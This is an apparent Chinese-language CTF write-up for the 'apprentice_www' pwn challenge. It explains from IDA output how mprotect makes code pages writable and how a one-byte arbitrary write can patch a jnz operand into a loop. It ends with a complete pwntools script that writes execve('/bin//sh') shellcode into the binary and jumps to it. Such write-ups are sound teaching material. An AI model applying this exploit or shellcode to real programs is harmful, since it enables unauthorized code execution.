1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 setbuf(stdin, 0); 4 setbuf(stdout, 0); 5 alarm(0x1Eu); 6 setup((int)main); 7 return butterflySwag(); 8 }
打开IDA,发现调用了两个函数。
1 int __cdecl setup(int a1) 2 { 3 int result; // eax 4 signed int i; // [esp+18h] [ebp-10h] 5 6 for ( i = 0; i <= 2; ++i ) 7 result = mprotect((void *)((i << 12) + (a1 & 0x8048000)), 0x1000u, 7); 8 return result; 9 }
首先是setup函数,通过for循环调用了mprotect两次。mprotect是用来修改内存权限的,第一个参数是指定的起始地址,第二个参数是要修改内存的大小,第三个参数是代号,这里是7那么就是可读可写可执行了。
i<<12,的意思就是i*2^12,这样的话三次循环的值分别是0,0x1000,0x2000.
a1&0x8048000,因为main的地址(变量a1)为0x0804863E,所以三次循环的值始终都是0x8048000.
这样的话,就是把0x8048000到0x804B000的内存空间设置成了可读可写可执行了。
可以通过pwntools动态调试看一下,上面是未执行setup前的内存。
这是执行完setup后的内存,可以得以验证。
1 int butterflySwag() 2 { 3 _BYTE *v1; // [esp+18h] [ebp-10h] 4 unsigned int v2; // [esp+1Ch] [ebp-Ch] 5 6 __isoc99_scanf((const char *)&unk_8048730, &v1); 7 __isoc99_scanf((const char *)&unk_8048733, &v2); 8 v2 = (unsigned __int8)v2; 9 *v1 = v2; 10 if ( v2 ) 11 { 12 if ( v2 == 1 ) 13 { 14 puts("All truly great thoughts are conceived by walking."); 15 } 16 else if ( v2 > 4 ) 17 { 18 if ( v2 > 9 ) 19 puts("When you look into an abyss, the abyss also looks into you."); 20 else 21 puts("He who has a why to live can bear almost any how."); 22 } 23 else 24 { 25 puts("Without music, life would be a mistake."); 26 } 27 } 28 else 29 { 30 puts("That which does not kill us makes us stronger."); 31 } 32 return 0; 33 }
然后来看butterflySwag函数。首先一开始是创建了两个变量,一个是byte类型的指针,一个是int整数。
第6-7行接收两个变量的输入。
第8行:unsigned __int8是8bit的int,本来这个v2是32bit的,这里的意思就是把低8bit的值在重新赋值给v2,即v2只取8bit的值。
第9行:把经过转换取得的v2低8bit的值,放在v1的地址处。
在这里分别输入了1和2,发现程序就出错停止了。原因就是如果把0x1作为地址去访问的话,就会是一个非法地址,程序就会出错误。
然后再试着输入0x8048000(十进制134512640),和2,发现就成功的写入了,而且程序也正常的执行下去了,因为这个地址范围在之前的setup函数中,被设置成了可读可写可执行。
通过以上分析,就有思路了,可以通过这两个scanf,去把shellcode写入到setup后的rwx(读写执行)区域,然后再跳转到这个地址上,就能拿到shell了。
因为下面有许多跳转指令,只需要改一下跳转指令的操作数,跳转到两个scanf之前,循环执行然后写入shellcode就可以了。
这里改的是scanf之后的第一个跳转指令,如上图。
这里有一个基础知识就是,跳转指令的地址是原本要执行的紧接着的下一条指令的地址 + 操作数。
在IDA中可以看到,这条跳转指令的原本要执行的紧接着的下一条指令的地址是0x80485DB.
需要更改到的跳转地址是0x804859D . 所以这个跳转指令的操作数应为 0x804859D - 0x80485DB = -62 .这个-62用补码表示为0xc2. 所以我们首先就要修改这条跳转指令的操作数为C2 。
剩下的就可以直接写出脚本了。
1 #coding:utf-8 2 from pwn import * 3 shellcode=b‘\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80‘ 4 io=process(‘./apprentice_www‘) 5 jnz_flag=0x80485DA #jnz指令的操作数地址 6 pos_next=0x80485DB #原本jnz后紧接着的指令地址,这里直接作为存放shellcode的首地址 7 8 io.sendline(str(jnz_flag)) 9 io.sendline(str(0xc2)) #这两行首先修改掉操作数,制造重复调用scanf的loop 10 11 for i in range(0,len(shellcode)): 12 io.sendline(str(pos_next+i)) 13 io.sendline(str(shellcode[i])) #向pos_next写入shellcode 14 io.sendline(str(jnz_flag)) 15 io.sendline(str(0)) #修改为跳转到pos_next的位置 16 io.interactive()